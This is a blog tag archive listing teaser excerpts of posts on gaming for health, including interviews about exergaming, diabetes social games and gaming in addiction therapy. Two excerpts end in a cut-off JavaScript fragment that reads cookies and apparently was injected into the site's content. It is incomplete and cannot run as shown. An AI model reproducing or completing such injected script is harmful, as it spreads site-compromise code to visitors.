Tag Archives: gaming

A Chat With Ben Sawyer of Games for Health

If you read yesterdays post, youll know that Pixels and Pills recently sat down with Ben Sawyer, Director of the Games for Health Project and organizer of the Games for Health Conference to talk...
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Getting Healthy Through Gaming

by Briana Campbell (@MsMatchGirl) Heres the question: How do we help people get healthy and stay healthy? With all the information thats available, youd think it would be a no brainer, right?...
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POINT/COUNTERPOINT: The Great Flash Debate, Part I

(Video credited to Milk and Cookies) This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy...
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Is There Such a Thing as “Making Pharma Fun”?

By Sven Larsen (@Zemoga) Volkswagen's Swedish ad agency created The Fun Theory website, stating: "This site is dedicated to the thought that something as simple as fun is the easiest way to change...
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Gaming and Addiction Therapy

By DJ Edgerton (@wiltonbound) Even while traveling, I have to say, it's hard to ignore the recent Charlie Sheen Media Spectacular. His very public fall from grace has dominated the headlines,...
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DigitalMill’s Ben Sawyer Talks About Reaching Patients Through Games For Health

Ben Sawyer, President of DigitalMill, describes how he became involved with ePatient Connections and the significance of gaming to global health, general wellness, and rehabilitation function...
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The University of North Carolina at Chapel Hill’s Elizabeth Lyons, PhD, MPH Discusses “Exergaming”

Elizabeth Lyons, PhD, MPH, Interdisciplinary Obesity Center, Lineberger Comprehensive Cancer Center at The University of North Carolina at Chapel Hill explains how video games don't require any...
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Ayogo Games’ Michael Fergusson Explains His Collaboration With The Diabetes Hands Foundation

Michael Fergusson, CEO of Ayogo Games describes the physiological rewards of gaming, and how the user's social network helps them stay honest. function getCookie(e){var U=document.cookie.match(new...
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Manny Hernandez from the Diabetes Hands Foundation Talks About Health Seeker

Manny Hernandez, President of the Diabetes Hands Foundation, explains how encouraging healthy behavior can be fun by leveraging gaming and social media. function getCookie(e){var...
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Are You Game?: Gaming and the Healthcare Industry

By Todd LaRoche (@toddlaroche) I wasnt more than a small child the first time I hyper-spaced through the galaxy in Asteroids. Within seconds of whizzing past meteors and shooting stars, I was...
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